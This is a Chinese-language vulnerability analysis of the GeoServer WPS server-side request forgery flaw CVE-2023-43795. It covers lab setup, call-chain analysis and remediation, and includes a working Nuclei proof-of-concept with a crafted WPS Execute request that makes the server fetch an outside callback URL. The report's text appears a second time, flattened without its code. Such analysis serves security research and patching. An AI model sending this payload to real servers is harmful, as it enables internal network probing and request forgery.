CVE-2023-43795 GeoServer ssrf 漏洞分析
字数 1554 2025-08-20 18:18:16

GeoServer SSRF漏洞分析报告 (CVE-2023-43795)

0x00 漏洞概述

GeoServer是一个用Java编写的开源软件服务器,允许用户共享和编辑地理空间数据。该软件遵循OpenGIS Web服务器规范,使用开放标准发布来自任何主要空间数据源的数据。

漏洞类型:服务器端请求伪造(SSRF)
漏洞编号:CVE-2023-43795
厂商官网:https://geoserver.org/
影响对象类型:Web应用
影响产品:GeoServer
影响版本

  • version < 2.22.5
  • version < 2.23.2
    必要条件:需要安装WPS插件

0x01 漏洞影响

官方安全公告:
https://github.com/geoserver/geoserver/security/advisories/GHSA-5pr3-m5hm-9956

0x02 漏洞环境搭建

基于vulhub的GeoServer漏洞环境进行搭建,需要额外安装WPS插件:

  1. 基础环境:使用vulhub/geoserver:2.22.1镜像
  2. WPS插件下载地址:
    https://sourceforge.net/projects/geoserver/files/GeoServer/2.22.1/extensions/geoserver-2.22.1-wps-plugin.zip/download
  3. 修改docker-compose.yml文件,添加WPS插件相关JAR包挂载

docker-compose.yml示例

version: '3'
services:
  web:
    image: vulhub/geoserver:2.22.1
    depends_on:
     - postgres
    ports:
     - "8080:8080"
     - "5005:5005"
    volumes:
      - ./startup.sh:/startup.sh
      - ./startup2.sh:/mnt/geoserver/bin/startup.sh
      - ./gs-web-wps-2.22.1.jar:/mnt/geoserver/webapps/geoserver/WEB-INF/lib/gs-web-wps-2.22.1.jar
      - ./gs-wps-core-2.22.1.jar:/mnt/geoserver/webapps/geoserver/WEB-INF/lib/gs-wps-core-2.22.1.jar
      - ./gs-wps-kml-ppio-2.22.1.jar:/mnt/geoserver/webapps/geoserver/WEB-INF/lib/gs-wps-kml-ppio-2.22.1.jar
      - ./gt-csv-28.1.jar:/mnt/geoserver/webapps/geoserver/WEB-INF/lib/gt-csv-28.1.jar
      - ./gt-process-geometry-28.1.jar:/mnt/geoserver/webapps/geoserver/WEB-INF/lib/gt-process-geometry-28.1.jar
      - ./gt-xsd-kml-28.1.jar:/mnt/geoserver/webapps/geoserver/WEB-INF/lib/gt-xsd-kml-28.1.jar
      - ./gt-xsd-wps-28.1.jar:/mnt/geoserver/webapps/geoserver/WEB-INF/lib/gt-xsd-wps-28.1.jar
      - ./net.opengis.wps-28.1.jar:/mnt/geoserver/webapps/geoserver/WEB-INF/lib/net.opengis.wps-28.1.jar
      - ./opencsv-5.0.jar:/mnt/geoserver/webapps/geoserver/WEB-INF/lib/opencsv-5.0.jar
      - ./serializer-2.7.2.jar:/mnt/geoserver/webapps/geoserver/WEB-INF/lib/serializer-2.7.2.jar
    command: bash /startup.sh
  postgres:
    image: postgis/postgis:14-3.3-alpine
    environment: 
     - POSTGRES_PASSWORD=vulhub
     - POSTGRES_DB=geoserver

调试配置
修改容器中的/mnt/geoserver/bin/startup.sh文件,添加调试参数:

-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005

0x03 漏洞验证与利用

验证方法

使用Nuclei工具进行验证,POC如下:

id: CVE-2023-43795

info:
  name: GeoServer WPS - Server Side Request Forgery
  author: DhiyaneshDK
  severity: critical
  description: |
        GeoServer is an open source software server written in Java that allows users to share and edit geospatial data. The OGC Web Processing Service (WPS) specification is designed to process information from any server using GET and POST requests. This presents the opportunity for Server Side Request Forgery. This vulnerability has been patched in version 2.22.5 and 2.23.2.
variables:
  string: "{{to_lower(rand_text_alpha(4))}}"
  value: "{{to_lower(rand_text_alpha(5))}}"

http:
  - raw:
      - |
        POST {{path}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <?xml version="1.0" encoding="UTF-8"?>
        <wps:Execute version="1.0.0" service="WPS"
          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
          xmlns="http://www.opengis.net/wps/1.0.0"
          xmlns:wfs="http://www.opengis.net/wfs"
          xmlns:wps="http://www.opengis.net/wps/1.0.0"
          xmlns:ows="http://www.opengis.net/ows/1.1"
          xmlns:gml="http://www.opengis.net/gml"
          xmlns:ogc="http://www.opengis.net/ogc"
          xmlns:wcs="http://www.opengis.net/wcs/1.1.1"
          xmlns:xlink="http://www.w3.org/1999/xlink"
                xsi:schemaLocation="http://www.opengis.net/wps/1.0.0 http://schemas.opengis.net/wps/1.0.0/wpsAll.xsd">
          <ows:Identifier>JTS:area</ows:Identifier>
          <wps:DataInputs>
            <wps:Input>
              <ows:Identifier>geom</ows:Identifier>
              <wps:Reference mimeType="application/json" xlink:href="http://{{interactsh-url}}" method="GET">
                <wps:Header key="{{string}}" value="{{value}}"/>
              </wps:Reference>
            </wps:Input>
          </wps:DataInputs>
          <wps:ResponseForm>
            <wps:RawDataOutput>
              <ows:Identifier>result</ows:Identifier>
            </wps:RawDataOutput>
          </wps:ResponseForm>
        </wps:Execute>        

    payloads:
      path:
        - /wms
        - /geoserver/wms

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, 'http')
          - contains_all(to_lower(interactsh_request), '{{string}}','{{value}}')
          - status_code == 200
        condition: and

执行命令:

nuclei.exe -t CVE-2023-43795.yaml -u http://192.168.88.132:8080/

漏洞利用原理

攻击者通过构造恶意的WPS请求,利用wps:Reference标签的xlink:href属性指定外部URL,GeoServer会向该URL发起请求,从而实现SSRF攻击。

0x04 漏洞分析

漏洞调用链

  1. 请求首先到达org.geoserver.ows.Dispatcherservice()方法
  2. 调用this.findService()确定要调用的service
  3. 调用this.execute()执行请求
  4. 进入org.geoserver.wps.DefaultWebProcessingServiceexecute()方法
  5. executionManager负责处理request
  6. 最终调用WPSExecutionManager$Executor对象的call()方法
  7. 触发org.apache.http.impl.client.CloseableHttpClient.execute()实现SSRF

关键代码分析

漏洞核心在于GeoServer处理WPS请求时,未对wps:Reference中的URL进行有效验证和限制,导致可以构造任意HTTP请求。

0x05 漏洞修复

修复方案

  1. 升级到安全版本:
    • version >= 2.22.5
    • version >= 2.23.2

修复建议

  1. 及时更新GeoServer到最新安全版本
  2. 如无法立即升级,可考虑临时禁用WPS功能
  3. 在网络层面限制GeoServer服务器的出站连接

0x06 总结

CVE-2023-43795是一个存在于GeoServer中的SSRF漏洞,攻击者可以利用该漏洞从服务端发起任意HTTP请求,可能导致内网探测、服务端请求伪造等风险。该漏洞需要安装WPS插件才能利用,建议用户及时升级到修复版本或采取适当的缓解措施。

GeoServer SSRF漏洞分析报告 (CVE-2023-43795) 0x00 漏洞概述 GeoServer是一个用Java编写的开源软件服务器,允许用户共享和编辑地理空间数据。该软件遵循OpenGIS Web服务器规范,使用开放标准发布来自任何主要空间数据源的数据。 漏洞类型 :服务器端请求伪造(SSRF) 漏洞编号 :CVE-2023-43795 厂商官网 :https://geoserver.org/ 影响对象类型 :Web应用 影响产品 :GeoServer 影响版本 : version < 2.22.5 version < 2.23.2 必要条件 :需要安装WPS插件 0x01 漏洞影响 官方安全公告: https://github.com/geoserver/geoserver/security/advisories/GHSA-5pr3-m5hm-9956 0x02 漏洞环境搭建 基于vulhub的GeoServer漏洞环境进行搭建,需要额外安装WPS插件: 基础环境:使用vulhub/geoserver:2.22.1镜像 WPS插件下载地址: https://sourceforge.net/projects/geoserver/files/GeoServer/2.22.1/extensions/geoserver-2.22.1-wps-plugin.zip/download 修改docker-compose.yml文件,添加WPS插件相关JAR包挂载 docker-compose.yml示例 : 调试配置 : 修改容器中的 /mnt/geoserver/bin/startup.sh 文件,添加调试参数: 0x03 漏洞验证与利用 验证方法 使用Nuclei工具进行验证,POC如下: 执行命令: 漏洞利用原理 攻击者通过构造恶意的WPS请求,利用 wps:Reference 标签的 xlink:href 属性指定外部URL,GeoServer会向该URL发起请求,从而实现SSRF攻击。 0x04 漏洞分析 漏洞调用链 请求首先到达 org.geoserver.ows.Dispatcher 的 service() 方法 调用 this.findService() 确定要调用的service 调用 this.execute() 执行请求 进入 org.geoserver.wps.DefaultWebProcessingService 的 execute() 方法 由 executionManager 负责处理request 最终调用 WPSExecutionManager$Executor 对象的 call() 方法 触发 org.apache.http.impl.client.CloseableHttpClient.execute() 实现SSRF 关键代码分析 漏洞核心在于GeoServer处理WPS请求时,未对 wps:Reference 中的URL进行有效验证和限制,导致可以构造任意HTTP请求。 0x05 漏洞修复 修复方案 : 升级到安全版本: version >= 2.22.5 version >= 2.23.2 修复建议 : 及时更新GeoServer到最新安全版本 如无法立即升级,可考虑临时禁用WPS功能 在网络层面限制GeoServer服务器的出站连接 0x06 总结 CVE-2023-43795是一个存在于GeoServer中的SSRF漏洞,攻击者可以利用该漏洞从服务端发起任意HTTP请求,可能导致内网探测、服务端请求伪造等风险。该漏洞需要安装WPS插件才能利用,建议用户及时升级到修复版本或采取适当的缓解措施。